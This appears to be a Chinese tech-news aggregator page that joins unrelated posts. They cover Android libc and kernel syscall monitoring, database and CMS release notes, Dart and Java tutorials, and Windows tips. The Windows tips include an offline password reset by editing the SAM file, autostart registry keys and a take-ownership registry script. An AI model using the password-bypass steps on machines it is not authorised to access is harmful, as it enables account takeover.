针对libc函数调用的监控,这里添加了 my_libc_trace.h 及 my_libc_trace.cc 文件,头文件用于直接提供给art模块进行全局指针访问、替换。

//
// Created by nimdanoob on 2024/9/7.
//
#pragma once
#include <sys/cdefs.h>
__BEGIN_DECLS

typedef void (*OnOpenPath)(const char * _Nonnull pathname);
typedef void (*OnStatPath)(const char * _Nonnull pathname);
typedef void (*OnAccessPath)(const char * _Nonnull pathname);
typedef void (*OnGetProperties)(const char * _Nullable key);
typedef void (*OnFork)();
typedef void (*OnExecve)( const char* _Nullable name, char* _Nullable const* _Nullable argv);
__attribute__((visibility("default"))) extern _Nullable OnGetProperties  gOnGetProperties;
__attribute__((visibility("default"))) extern  _Nullable OnOpenPath  gOnOpenPath;
__attribute__((visibility("default"))) extern  _Nullable OnAccessPath  gOnAccessPath;
__attribute__((visibility("default"))) extern  _Nullable OnStatPath  gOnStatPath;
__attribute__((visibility("default"))) extern  _Nullable OnExecve  gOnExecve;
__attribute__((visibility("default"))) extern  _Nullable OnFork  gOnFork;

__END_DECLS
//
// Created by nimdanoob on 2024/9/7.
//
#pragma once
#include <sys/cdefs.h>
__BEGIN_DECLS

typedef void (*OnOpenPath)(const char * _Nonnull pathname);
typedef void (*OnStatPath)(const char * _Nonnull pathname);
typedef void (*OnAccessPath)(const char * _Nonnull pathname);
typedef void (*OnGetProperties)(const char * _Nullable key);
typedef void (*OnFork)();
typedef void (*OnExecve)( const char* _Nullable name, char* _Nullable const* _Nullable argv);
__attribute__((visibility("default"))) extern _Nullable OnGetProperties  gOnGetProperties;
__attribute__((visibility("default"))) extern  _Nullable OnOpenPath  gOnOpenPath;
__attribute__((visibility("default"))) extern  _Nullable OnAccessPath  gOnAccessPath;
__attribute__((visibility("default"))) extern  _Nullable OnStatPath  gOnStatPath;
__attribute__((visibility("default"))) extern  _Nullable OnExecve  gOnExecve;
__attribute__((visibility("default"))) extern  _Nullable OnFork  gOnFork;

__END_DECLS

之后 相应的函数中 回调相应的函数指针:

最后在 bionic/libc/Android.bp中,添加 my_libc_trace.cpp文件编译。由于libc 库是通过 libc.map.txt控制对外导出的函数符号,因此还需要添加这些函数符号到文件中。

在art模块中,当判断当前进程需要监控这些函数调用时,设置相应的函数回调指针。然而这里在实际编译时 还是会编译失败,虽然上面已经通过libc.txt 导出了函数符号,art 模块中使用时,也能正常引入 my_libc_trace.h头文件,但在编译阶段还是会出现 相应符号找不到的问题。 最后通过不断尝试,暂时通过判断是否存在 __BIONIC__宏再访问相应指针变量 解决了该问题。

内核修改

有些APP的文件操作可能不直接通过libc来实现,而是直接通过系统调用实现,因此还需要再内核层直接实现文件操作监控。

确定内核版本

内核源码和 aosp源码是独立的repo仓库,默认的aosp 构建是使用的仓库内预编译好的kerne镜像,以Pixel 7 Pro为例,内核镜像 boot.img 位于 aosp/device/google/pantah-kernel 中。

设备内核版本的确认及对应的分支下载参考:KernelSU: Android 内核编译方法和开发环境搭建

修改内核

驱动程序实现

内核层的监控和libc库监控类似,主要还是在对应的系统调用实现函数中添加桩点,调用函数。

系统调用对应实现文件
__NR_openatfs/open.c do_sys_openat2
__NR_faccessatfs/open.c do_faccessat

以__NR_openat 为例,在相应的函数实现do_sys_openat2 中,修改代码

内核的监控还需要提供一些功能控制逻辑,比如设置监控的目标程序uid、具体监控的系统调用等,从而过滤器调非目标App或函数的调用,避免日志太多。具体实现时,为了不对内核层代码做过多修改,这里采用新增内核驱动的方式来拓展功能。

在 kernel/common/drivers 目录下添加相应的驱动实现代码。在内核模块初始化时,设置预埋的函数指针为驱动内部的函数。

在内核模块中,创建了一个proc虚拟文件 挂载在 /proc/moontrace路径,在创建该proc文件时,配置相应的文件读写实现, 从而实现通过该proc文件与用户空间的交互。

用户空间可以通过写该proc文件控制监控行为,写 proc文件相应的回调中,解析用户写入的内容。

用户空间可以通过读取该proc文件获取监控记录的内容,在内核空间中创建了一个环形缓冲区,用于缓存最近记录的N条日志信息,当用户读取该文件时,将环形缓冲区的日志 通过 seq_printf 按序输出。

读取 /proc/moontrace文件的示例输出, 第一行默认输出了目前的功能配置。

添加系统调用

添加系统调用的实现逻辑可以参考 github.com/itewqq/andr… ,不过按照文章中添加系统调用后,实际上在user 构建中 由于selinux限制 运行时调用新增的系统调用会被selinux机制拦截。

最后通过分析其他系统调用的配置代码,经过测试验证发现,还需要在 SYSYCALL.TXT 添加系统调用信息(该文件内容 实际上是通过 python脚本自动从linux/common源码中生成的,这里我是手动添加),并在 bioniuc/libc/ 下的 SECCOMP_ 的相应文件中配置允许调用该系统调用。如果希望一个系统调用可以被调用,则添加相应的配置到 SECCOMP_ALLOWLIST_COMMON.TXT 中。

功能管理程序

为了更方便的设置相应的监控配置,可以创建一个系统App用于配置具体的功能,将功能配置存储在系统App路径内。以下是开发的MoonTrace 系统App用于管理监控配置。

  • 参考资料

by 卓修武K at January 22, 2025 02:00 AM

oschina news project

蛇年大吉,春节快乐 | gpress 1.0.8 发布

蛇年大吉,春节快乐 | gpress 1.0.8 发布

gpress
 gpress
发布于 2025年01月22日09时51分00秒
收藏 0

gpress 是 Web3 内容平台,Hertz + Go template + FTS5 全文检索,支持以太坊和百度超级链,兼容 Hugo、WordPress 生态,使用 Wasm 扩展插件,只需 200M 内存.

  • 作为静态站点: gpress 生成的静态文件和 Hugo 一致,也可以简单认为 gpress 是 Hugo 的后台管理,兼容 Hugo 主题生态,已迁移多款 Hugo 主题:evendoksbookgeekdoc......
  • 作为动态站点: gpress 功能简单,只有 7 个菜单,5 张表,5000 行代码,使用 SQLite, 一键启动,只需 200M 内存,支持全文检索。兼容 WordPress 主题生态,已迁移多款 WordPress 主题:generatepressastra......
  • 作为 Web3: gpress 已支持以太坊和百度超级链账户体系,会基于 Wasm 持续迭代去中心功能,让数据自由一点点......
  • 作为后浪: 相对于 Hugo、WordPress 等优秀的内容平台,gpress 还有很多不足,功能简单而又稚嫩......
  • 帮助文档: 点击查看帮助文档

个人博客 jiagou.com 使用 gpress 搭建,搜索和后台管理是动态,其他是静态页面。

 

更新:

  1. 后台管理支持多语言
  2. 上传文件单独目录隔离,避免互相影响
  3. 后台管理页面增加 更新SQL 功能
  4. 内容表增加 txID 字段,记录上链交易的Hash;配置表增加 locale 字段,设置语言
  5. 修改错误的categorys拼写
  6. 主题管理过滤掉.gz压缩文件
  7. 动态增加路由映射,去掉routeCategoryMap的处理逻辑
  8. 完善文档,注释
本站新闻禁止转载,违者依法追究相关法律责任。
本文标题:蛇年大吉,春节快乐 | gpress 1.0.8 发布

January 22, 2025 01:51 AM

IvorySQL 4.2 发布

IvorySQL 4.2 发布

IvorySQL
 IvorySQL
发布于 2025年01月22日09时21分00秒
收藏 0

IvorySQL 4.2 已于 2025 年 1 月 13 日正式发布。新版本全面支持 PostgreSQL 17.2,并修复了多项 bug。

增强功能

PostgreSQL 17.1 增强功能

  • 确保当 RLS 应用于非顶级表引用时,缓存的计划会标记为依赖于调用角色
  • 使 libpq 在 SSL 或 GSS 协议协商期间丢弃接收到的错误消息
  • 修复 SET SESSION AUTHORIZATION 和 SET ROLE 之间的意外交互
  • 防止受信任的 PL/Perl 代码修改环境变量
  • 修复在附加或分离表分区时对外键约束的目录状态更新问题

有关更多详细信息,请访问 PostgreSQL 17.1 发布说明.

PostgreSQL 17.2 增强功能

  • 修复与 struct ResultRelInfo 配合使用的扩展的 ABI 断裂问题
  • 恢复 ALTER \{ROLE|DATABASE} SET role 功能
  • 修复逻辑复制槽的 restart_lsn 可能回退的情况
  • 在执行 pg_rewind 时避免删除仍需使用的 WAL 文件
  • 修复与删除共享统计条目相关的竞争条件

有关更多详细信息,请访问 PostgreSQL 17.2 发布说明

IvorySQL 4.2 修复的问题

  • 修复 pg_upgrade 问题,现在可使用 pg_upgrade 升级 IvorySQL
  • 提供 Rocky9 安装包,目前可在 Rocky Linux 9 上安装 IvorySQL 4.x
  • 修正 ivorysql_docs 中的英文语法错误

源码

IvorySQL 主要包含 2 个代码仓库:

贡献者

以下人员(按字母顺序排列)作为补丁作者、提交者、审阅者、测试者或问题报告人,贡献了此次版本的发布。

  • Cary Huang
  • Denis Lussier
  • Fawei Zhao
  • Grant Zhou
  • Hope Gao
  • Lily Wang
  • Shawn Yan
  • Shiji Niu
  • Shoubo Wang
  • Shuntian Jiao
  • Xiangyu Liang
  • Xinjie Lv
  • Zhibin Wang
本站新闻禁止转载,违者依法追究相关法律责任。
本文标题:IvorySQL 4.2 发布

January 22, 2025 01:21 AM

juejin android

系统化掌握Dart编程之集合(Set)

image.png

前言

集合 —— 操作批量数据核心工具

Dart中,Set 是一种特殊的集合类型,它确保每个元素都是唯一的不允许重复。就像一个精心整理的工具箱,每种工具只出现一次,方便快速查找和使用。Set 适用于需要去重检查成员资格进行数学集合操作(如并集交集)的场景。通过 Set,可以高效地管理和操作不重复的数据项,为应用程序带来简洁性高性能

千曲而后晓声,观千剑而后识器。虐它千百遍方能通晓其真意

一、基本概念

1.1、图像表示

姓名参加的活动
Alice短跑100米
Bob短跑200米
Charlie长跑5000米

如上图所示,有一个班级的学生名册,确保每个学生的名字只出现一次,不论他们参加了多少个活动。这就是 Set 的工作方式 —— 它是一个无序且不允许重复元素的集合

1.2、定义

Set 是一个无序且不允许重复元素的集合。它类似于数学中的集合概念,提供了一种方便的方式来处理唯一的数据项。

// 创建一个 Set 班级学生名册
Set<String> studentRoster = {'Alice', 'Bob', 'Charlie'};

1.3、特点

  • 1、无序:就像名册中的名字,不能保证每次读取的顺序。
  • 2、不允许重复:每个学生的名字只能出现一次
// 尝试添加重复的名字
studentRoster.add('Alice'); // 不会添加,因为已经存在

// 输出名册
print(studentRoster); // 输出: {Alice, Bob, Charlie}

1.4、泛型支持

DartSet 支持泛型,允许指定列表中元素的具体类型,从而提高代码的类型安全性可读性

// 创建一个泛型为int类型的Set
Set<int> numbers = {1, 2, 3, 4, 5};
// 创建一个泛型为String类型的list
Set<String> names = {'Alice', 'Bob', 'Charlie'};
// 创建一个泛型为dynamic类型的list
Set<dynamic> list = {'Alice', 1, false};

二、创建和初始化

2.1、直接创建

最简单的方式是直接在花括号{}中列出元素

Set<int> numbers = {1, 2, 3, 4, 5};

2.2、使用构造函数

使用 Set 类的构造函数来创建一个空集合具有初始元素的集合

// 创建一个空集合
Set<String> emptySet = <String>{};

// 创建一个包含初始元素的集合
Set<int> initialNumbers = Set<int>.from([1, 2, 3, 4, 5]);

2.3、 使用 Set.of 构造函数

Set.of 可以从任何可迭代对象(如 List)创建一个 Set

Set<int> fromList = Set.of([1, 2, 3, 4, 5]);

三、访问和修改

3.1、访问元素

由于 Set 本身是无序的,它并不支持通过索引访问元素(如 List 那样)。然而,Dart 提供了多种方式来访问 Set 中的元素,主要包括遍历查找特定元素。下面对应的目录中会有介绍,在此不做过多叙述。

3.2、修改元素

由于 Set 的特性,直接修改某个特定元素并不是像 List 那样简单,因为 Set 不支持通过索引访问和修改元素。可以通过以下几种方法来实现对 Set 中元素的“修改”

  • 1、移除旧元素并添加新元素
void main() {
  Set<String> colors = {'红色', '蓝色', '绿色'};
  
  // 修改 "红色" 为 "粉红色"
  if (colors.remove('红色')) {
    colors.add('粉红色');
  }
  
  print(colors); // 输出: {蓝色, 绿色, 粉红色}
}
  • 2、使用 map 方法创建新的 Set:可以使用 map 方法将每个元素映射到新值,然后将结果转换回 Set
void main() {
  Set<int> numbers = {1, 2, 3, 4, 5};
  
  // 将所有数字加 10
  Set<int> updatedNumbers = numbers.map((number) => number + 10).toSet();
  
  print(updatedNumbers); // 输出: {11, 12, 13, 14, 15}
}
  • 3、批量修改(使用 removeWhereaddAll
void main() {
  Set<String> fruits = {'苹果', '香蕉', '橙子'};
  
  // 移除以 "苹" 开头的水果,并添加 "草莓"
  fruits.removeWhere((fruit) => fruit.startsWith('苹'));
  fruits.add('草莓');
  
  print(fruits); // 输出: {香蕉, 橙子, 草莓}
}

3.3、添加元素

使用 addaddAll方法向 Set 中添加新元素。如果元素已经存在,则不会添加。

numbers.add(6);
print(numbers); // 输出: {1, 2, 3, 4, 5, 6

// 使用addAll批量添加元素
numbers.addAll({7, 8, 9});
print(numbers); // 输出: {1, 2, 3, 4, 5, 6, 7, 8, 9}

3.4、移除元素

  • 1、移除指定元素:使用remove方法。
numbers.remove(5);
print(numbers); // 输出: {1, 2, 3, 4, 6, 7, 8, 9}
  • 2、清空集合:使用clear方法。
numbers.clear();
print(numbers); // 输出: {}

四、遍历

4.1、使用for循环

如果确实需要按顺序访问元素,可以先将 Set 转换为 List,然后通过索引访问。

Set<String> colors = {'红色', '蓝色', '绿色'};
  List<String> colorList = colors.toList();
  
for (int i = 0; i < colorList.length; i++) {
  print('颜色 ${i + 1}: ${colorList[i]}');
}

注意:由于 Set 是无序的,转换后的 List 可能不会保持原来的插入顺序。

4.2、使用forEach

forEach 方法允许为 Set 中的每个元素执行一个回调函数

Set<String> colors = {'红色', '蓝色', '绿色'};
colors.forEach((color) => print(color));

4.3、使用for-in循环

for-in 循环提供了一种简洁的方式遍历 Set 中的每个元素。

 Set<int> numbers = {1, 2, 3, 4, 5};
  
 for (var number in numbers) {
    print(number);
} 

五、常用属性和方法

5.1、属性

// length:获取 Set 的大小(元素数量)
print(numbers.length); // 输出: 5
// isEmpty 和 isNotEmpty:检查 Set 是否为空。
print(emptySet.isEmpty); // 输出: true

5.2、常用方法

  • 1、查找特定元素

    • 使用 contains 方法检查某个元素是否存在于 Set 中。
    print(numbers.contains(5)); // 输出: true
    
    • 可以结合 where 方法与 firstlastsingle 来查找符合条件的第一个或最后一个元素,或者唯一符合条件的元素。
    void main() {
      Set<int> numbers = {1, 2, 3, 4, 5};
    
      // 查找第一个大于 3 的元素
      int firstGreaterThanThree = numbers.where((number) => number > 3).first;
      print('第一个大于 3 的数字是: $firstGreaterThanThree');
    
      // 查找唯一等于 4 的元素
      int onlyFour = numbers.singleWhere((number) => number == 4, orElse: () => -1);
      print('唯一的数字 4 是: $onlyFour');
    }
    
    • 使用 anyevery 方法。
    void main() {
      Set<int> numbers = {1, 2, 3, 4, 5};
    
      bool hasEvenNumber = numbers.any((number) => number % 2 == 0);
      print('Set 中是否有偶数: $hasEvenNumber');
    
      bool allPositive = numbers.every((number) => number > 0);
      print('所有数字是否都是正数: $allPositive');
    }
    
  • 2、集合操作

    • 并集:使用 union 方法计算两个 Set 的并集。
    Set<int> setA = {1, 2, 3};
    Set<int> setB = {3, 4, 5};
    Set<int> unionSet = setA.union(setB);
    print(unionSet); // 输出: {1, 2, 3, 4, 5}
    
    • 交集:使用 intersection 方法计算两个 Set 的交集。
    Set<int> intersectionSet = setA.intersection(setB);
    print(intersectionSet); // 输出: {3}
    
    • 差集:使用 difference 方法计算两个 Set 的差集。
    Set<int> differenceSet = setA.difference(setB);
    print(differenceSet); // 输出: {1, 2}
    

六、不可变Set(Set.unmodifiable)

有时需要确保一个 Set 不会被修改。可以使用 Set.unmodifiable 来创建一个不可变的 Set

Set<int> immutableNumbers = Set.unmodifiable({1, 2, 3, 4, 5});

// 下面这行代码会抛出异常,因为 immutableNumbers 是不可变的
// immutableNumbers.add(6);

七、总结

Set 提供了一种强大而灵活的方式来处理唯一的数据项。通过合理利用 Set 的特性,可以编写出更加简洁高效和易于维护的代码。

欢迎一键四连关注 + 点赞 + 收藏 + 评论

by 地狱勇士 at January 22, 2025 01:07 AM

oschina news industry

AI 领域名词解读:SOTA

2AGI.NET AI 领域热词:SOTA(State of the Art)

摘要

SOTA(State of the Art)是一个经常被用于描述科技领域中表现最优秀的技术和解决方案的术语。它意味着该技术达到了当前的最高标准,就如在厨艺大赛中那个最出色蛋糕一样,代表了“最先进的水平”或“最佳状态”。以下将详细探讨SOTA的通俗理解、技术原理、应用场景以及总结。

通俗理解

在日常生活中,如果我们说一个产品或者技术是“最先进的”,通常意味着它在同类产品或技术中表现最好,无人能出其右。SOTA这个术语在科技领域中也是如此,它代表了一个领域的当前最高技术成就。比如在人工智能领域,如果一个算法在图像识别任务上的表现超越了所有其他算法,那么这个算法就可以被称为是SOTA。简而言之,SOTA就是技术界的“最佳选择”或者“标杆”。

技术原理

SOTA技术的原理在于它集成了当前最先进的理论和实践。以下是一些构成SOTA的关键要素:

  1. 创新性:SOTA技术往往基于最新的科研成果,能够以创新的方式解决现有问题。
  2. 效率:SOTA技术在执行任务时,相比其他技术更加高效,无论是在速度、成本还是资源消耗上都有显著优势。
  3. 准确性:在需要准确度的任务中,如数据分析或医疗诊断,SOTA技术能够提供更准确的结果。
  4. 可靠性和稳定性:SOTA技术在实际应用中表现出更高的可靠性和稳定性,减少了错误和故障的可能性。

这些原理确保了SOTA技术能够持续引领行业发展,并成为行业内的参照标准。

应用场景

SOTA技术的应用场景非常广泛,以下是一些例子:

  1. 医疗领域:在医疗影像分析中,SOTA技术可以帮助医生更准确地诊断疾病。
  2. 自动驾驶:在自动驾驶汽车中,SOTA算法能够提供更准确的环境感知和决策能力。
  3. 金融科技:在金融领域,SOTA技术可以用于风险评估和欺诈检测,提高交易的安全性。
  4. 制造业:SOTA技术在智能制造中能够优化生产流程,提高产品质量和生产效率。
  5. 人工智能:在AI领域,SOTA技术不断推动图像识别、自然语言处理等任务的性能极限。

这些应用场景显示了SOTA技术对于推动行业进步和提高生活质量的重要性。

总结

SOTA(State of the Art)是一个描述技术领域中顶尖表现和最高标准的术语。它代表着该领域内的最佳技术和解决方案,是科技创新和行业进步的标杆。无论是在医疗、自动驾驶、金融科技还是人工智能等领域,SOTA技术都在推动着行业的发展,并为我们的日常生活带来便利和改进。随着科技的不断进步,SOTA技术也在不断进化,引领我们走向更加智能和高效的未来。

 

🔥 热门文章推荐(2AGI.NET)

扫码加入社群,参与讨论

2AGI 技术社区,欢迎扫码加入

by 来源: 投稿 at January 22, 2025 12:50 AM

January 21, 2025

juejin career

VipSearchBuilder 技术文档

功能简介

VipSearchBuilder 是一个用于构建会员(Vip)搜索条件的工具类,支持多种搜索方式的组合查询,适用于 xorm 查询框架。

使用方法

基础用法

cond := NewVipSearchBuilder(engine).
    SetKeywords("关键词").
    Build()

// 在查询中使用
session.Where(cond).Find(&vips)

带表别名的用法

cond := NewVipSearchBuilder(engine).
    SetKeywords("关键词").
    SetTableAlias("v").  // 设置表别名为 v
    Build()

// 在 JOIN 查询中使用
session.Join("LEFT", "vip_level l", "v.level_id = l.id").
    Where(cond).
    Find(&results)

搜索规则

1. ID 搜索

  • 格式:以 # 开头加数字
  • 示例:#1001 将精确匹配 ID 为 1001 的会员
  • 实现:buildIDCondition

2. 手机号搜索

  • 11位完整手机号:精确匹配
  • 4位数字:匹配手机号后4位
  • 其他位数数字:前缀匹配
  • 示例:
    • 13800138000:精确匹配此手机号
    • 8000:匹配手机号后4位为 8000 的记录
    • 138:匹配手机号以 138 开头的记录
  • 实现:buildPhoneCondition

3. 姓名搜索

  • 条件:关键词包含中文字符
  • 匹配方式:模糊匹配(包含)
  • 示例:张三 将匹配姓名中包含"张三"的记录
  • 实现:buildNameCondition

4. 拼音搜索

  • 条件:关键词全部为英文字母
  • 匹配范围:全拼和首字母缩写
  • 不区分大小写
  • 示例:
    • zhang:匹配拼音包含 "zhang" 的记录
    • zs:匹配首字母缩写包含 "zs" 的记录
  • 实现:buildPinyinCondition

数据库兼容性

  • 自动识别 MySQL 和 SQLite 数据库
  • 针对手机号后4位匹配使用不同的 SQL 函数:
    • MySQL: RIGHT(phone, 4)
    • SQLite: substr(phone, -4)

方法说明

构造方法

func NewVipSearchBuilder(engine *xorm.Engine) *VipSearchBuilder
  • 参数:xorm 引擎实例
  • 返回:搜索构建器实例

设置方法

SetKeywords

func (b *VipSearchBuilder) SetKeywords(keywords string) *VipSearchBuilder
  • 功能:设置搜索关键词
  • 参数:搜索关键词
  • 特性:自动去除前后空白字符
  • 返回:构建器实例(支持链式调用)

SetTableAlias

func (b *VipSearchBuilder) SetTableAlias(alias string) *VipSearchBuilder
  • 功能:设置表别名
  • 参数:表别名
  • 返回:构建器实例(支持链式调用)

构建方法

func (b *VipSearchBuilder) Build() builder.Cond
  • 功能:构建最终的查询条件
  • 返回:xorm 的 builder.Cond 类型条件
  • 特性:空关键词时返回空条件

注意事项

  1. 必须提供有效的 xorm.Engine 实例
  2. 关键词为空时返回空条件
  3. 表别名是可选的,不设置时直接使用字段名
  4. 所有搜索条件之间是 OR 关系

依赖

  • xorm.io/builder
  • xorm.io/xorm

by 全栈虎 at January 21, 2025 05:34 PM

juejin freebie

【我叫黑大帅】Windows所遇问题

如何修改用户密码

  • 已登录时: 在这里插入图片描述

  • 未登录时:PE中:

    1. windows密码修改;

    2. SAM路径:WINDOWS\SYSTEM32\CONFIG\SAM -- 打开;

    3. 找到用户 -- 修改;

如何添加开机启动

  • 将程序放入 C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup 文件夹中便可;
  • 注册表:计算机\HKEY*CURRENT*USER\Software\Microsoft\Windows\CurrentVersion\Run
  • 注册表:计算机\HKEY*LOCAL*MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Windows文件共享

在这里插入图片描述

  1. 选择文件夹 -- 右键属性 -- 共享 -- Everyone -- 添加
  2. 属性 -- 共享 -- 网络和共享中心 -- 启用网络发现 -- 关闭密码保护共享
  3. 接受文件 win+r -- \ip地址\共享文件夹的名称

#开启Administrator

  1. 管理员身份 --> cmd
  2. net user adminstrator /active:yes
  3. 切换用户

家庭版启动策略编辑器

  1. 新建.txt

    @echo off pushd "%~dp0"
    dir /b %SystemRoot%\servicing\Packages\Microsoft-Windows-GroupPolicy-ClientExtensions-Package~3*.mum >List.txt
    dir /b %SystemRoot%\servicing\Packages\Microsoft-Windows-GroupPolicy-ClientTools-Package~3*.mum >>List.txt
    for /f %%i in ('findstr /i . List.txt 2^>nul') do dism /online /norestart /add-package:"%SystemRoot%\servicing\Packages\%%i"
    
  2. 更改后缀为 .bat -->双击运行

  3. 关机重启

  4. win+r -->> gpedit.msc

iPhone与windows文件互传

  • windows:新建文件夹--》 属性--》 共享--》 高级共享--》 共享此文件夹--》 权限--》 完全控制--》 共享--》 everyone--》 读取/写入--》 共享--》 完成

  • iPhone: 右上角--》连接服务器--》电脑IPV4--》电脑账户名--》PIN码/微软密码--》

管理员取得所有权

建立.txt将其复制-》改成.reg

Windows Registry Editor Version 5.00   

[HKEY_CLASSES_ROOT\*\shell\runas] 

@="管理员取得所有权" 

"NoWorkingDirectory"=""   

[HKEY_CLASSES_ROOT\*\shell\runas\command] 

@="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F" 

"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"   

[HKEY_CLASSES_ROOT\exefile\shell\runas2] 

@="管理员取得所有权" 

"NoWorkingDirectory"=""   

[HKEY_CLASSES_ROOT\exefile\shell\runas2\command] 

@="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F" 

"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"   

[HKEY_CLASSES_ROOT\Directory\shell\runas] 

@="管理员取得所有权" 

"NoWorkingDirectory"=""   

[HKEY_CLASSES_ROOT\Directory\shell\runas\command] 

@="cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant administrators:F /t" 

"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant administrators:F /t"

OneDrive导致无法移动文档文件夹位置

在这里插入图片描述

  1. 退出OneDrive账号 --> 重新登陆OneDrive账号,改变OneDrive文件夹路径;
  2. 选择不同步"文档"文件夹。设置>>管理备份>>文档开了再关.

win7菜单列表突然全无

解决: 找到这个文件:C:\Users\Administrator\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu 将有问题的删除

删除文件夹时找不到项目(config.)

解决: 使用bandizip--》新建压缩文件--》将config.文件夹填入--》压缩--》再解压--》将解压出的文件替换掉config.--》删除

软件用着用着就不出来问题,重新下载也有问题

解决: 大部分是缓存的问题,删除C:\Users\Admin\AppData\Roaming下的软件文件即可

icloud与edge密码互导

  • icloud->edge:mac密码--文件--导出密码--icloud云盘--iPhone使用Authenticator--设置--导入密码--从密码--Cusrom CSV--密码.csv
  • edge-->icloud:Authenticator--导出--icloud云盘--mac密码--文件--导入

by 我叫黑大帅 at January 21, 2025 03:47 PM

hackernews

juejin backend

Java 线程池经验

网上资料千篇一律面试题,聊一下我在工作中用线程池的经验。

线程池的分类

业务分类

异步任务

比如订单事件,把非主流程的逻辑,放到异步事件里面,或者用异步线程执行。

延时任务

常见的延迟一会执行,比如等待数据库事务提交,比如回调业务失败,过 3s 重试。

大型任务

比如大型的定时任务,执行时间比较久的,工作量比较大的。

技术选型

Spring 的 ThreadPoolTaskExecutor

这是 Spring 的线程池,和 @EnableAsync 和 @Async 搭配使用很方便。

@Configuration
public class ThreadPoolConfig {
    @Bean
    public ThreadPoolTaskExecutor threadPoolTaskExecutor() {
        ThreadPoolTaskExecutor executor = new ThreadPoolTaskExecutor();
        // 核心线程数
        executor.setCorePoolSize(5);
        // 最大线程数
        executor.setMaxPoolSize(10);
        // 队列容量
        executor.setQueueCapacity(100);
        // 线程存活时间
        executor.setKeepAliveTime(60, TimeUnit.SECONDS);
        // 线程名称前缀
        executor.setThreadNamePrefix("MyThreadPool-");
        // 拒绝策略,这里使用 CallerRunsPolicy
        executor.setRejectedExecutionHandler(new ThreadPoolExecutor.CallerRunsPolicy());
        // 允许核心线程超时
        executor.setAllowCoreThreadTimeOut(false);
        // 初始化线程池
        executor.initialize();

        return executor;
    }

简单说一下配置参数和含义。

  1. 核心线程数(Core Pool Size)
    方法:executor.setCorePoolSize(int corePoolSize)
    含义:常驻的核心线程数。
  2. 最大线程数(Max Pool Size)
    方法:executor.setMaxPoolSize(int maxPoolSize)
    含义: 允许的最大线程数。
  3. 队列容量(Queue Capacity)
    方法:等待执行任务的最大容量。
  4. 线程存活时间(Keep Alive Time)
    方法:executor.setKeepAliveTime(long keepAliveTime, TimeUnit unit)
    含义: 超出常驻线程数的线程,无任务后多久销毁。
  5. 线程工厂(Thread Factory)
    方法:executor.setThreadFactory(ThreadFactory threadFactory)
    含义: 默认就行。
  6. 拒绝策略(Rejected Execution Handler)
    方法:executor.setRejectedExecutionHandler(RejectedExecutionHandler handler)
    含义: 当线程池和队列都已满,无法处理新提交的任务时,会执行的策略。
    常见的拒绝策略有: ThreadPoolExecutor.AbortPolicy:直接抛出 RejectedExecutionException,表示任务被拒绝。 ThreadPoolExecutor.CallerRunsPolicy:由调用线程(提交任务的线程)执行该任务,降低新任务的提交速度。 ThreadPoolExecutor.DiscardOldestPolicy:丢弃队列中最旧的任务,然后尝试再次提交新任务。 ThreadPoolExecutor.DiscardPolicy:直接丢弃新提交的任务,不抛出异常。
  7. 线程名称前缀(Thread Name Prefix)
    方法:executor.setThreadNamePrefix(String threadNamePrefix)
    含义:线程名字前缀,打日志用。
  8. 等待任务完成时的关闭超时时间(Await Termination Timeout)
    方法:executor.setAwaitTerminationSeconds(int seconds)
    含义:关闭线程池的最大等待执行时间,不会用,没人会主动关闭线程池。
  9. 允许核心线程超时(Allow Core Thread Timeout)
    方法:executor.setAllowCoreThreadTimeOut(boolean value)
    含义: 设置为 true 时,核心线程在空闲时间达到 keepAliveTime 后也会被终止,否则核心线程会一直保持活跃。
ForkJoinPool.commonPool()

这是 Java 8 stream 并行流(ParallelStream,lambda 里面的 map 呀、foreach 等操作)和 CompletableFuture(异步编程) 的默认线程池,他的核心线程数固定为 CPU 数量 - 1,最小为 1,并且无法修改默认值。

import java.util.Arrays;
import java.util.List;

public class StreamParallelExample {
    public static void main(String[] args) {
        List<Integer> numbers = Arrays.asList(1, 2, 3, 4, 5, 6, 7, 8, 9, 10);
        List<Integer> result = numbers.parallelStream()
                                .map(n -> {
                                     System.out.println(Thread.currentThread().getName());
                                     return n * 2;
                                 })
                                .toList();
        System.out.println(result);
    }
}

特点是工作窃取算法(Work-Stealing Algorithm),可以在线程空闲时,从别的线程队列底部拉取任务执行。

我们 k8s 配的服务资源是 1 核 2G,这就尴尬了,线程池只有 1 个线程,如果我要用异步编程,得单独传入线程池。

配置技巧

配置的时候注意下内存,一个活跃线程的栈空间最大 1M,也就是最大线程数要注意下,避免 OOM。

其他队列、指针不占用,10 M 都很够了,1000 个队列才 1M 多。

根据业务区分下不同的线程池,比如大型任务,线程池数量少一点,并发不要太大,防止 CPU 100%。

避免线程频繁的上下文切换,反而会降低执行效率。

by jianzhangg at January 21, 2025 02:40 PM

juejin freebie

破茧英语路:我的经验与自研软件

哈喽,大家好!

在这篇文章中,我想分享我的英语学习经验以及我根据我的学习理念设计的辅助学习软件。

首先,我学习英语的目的不仅仅局限于应试,而是帮助我寻找一份海外的工作。因此,我给我的软件取名为「实用英语」,意在强调英语的实践性。我的设计理念是「通过使用英语来掌握英语」。

使用英语进行简单的沟通并不难。我在高中就曾用英语和外教交流过;之前在 Google IO 也用英语交流过。不过,在英语能力进一步提升的道路上始终存在一些困扰我的因素。主要包括:

  1. 听力可以应付考试,但是看美剧或者视频的时候跟不上别人的节奏
  2. 可以用英语沟通,但是会担心自己发音存在问题,导致别人听不懂
  3. 可以进行简单沟通,但是进行复杂沟通时表达比较费力
  4. 阅读可以应对考试,但是阅读国外的新闻或者外国人写的文章的时候很吃力

在这篇文章中,我将分享我的解决这些问题的办法。这对你也一定会有所帮助!

我使用我开发的软件已经有 120+ 天了。我从国外旅游回来之后一直处于边使用边开发的状态。我感觉英语能力有明显的提升:当我阅读英语新闻或 Medium 上的文章时非常顺畅;当我浏览英语视频时可以听清所讲的内容;当我用英语回复用户邮件时表达更丰富……

那么,现在就让我介绍下我的理念和软件吧。

1、英语能力模型

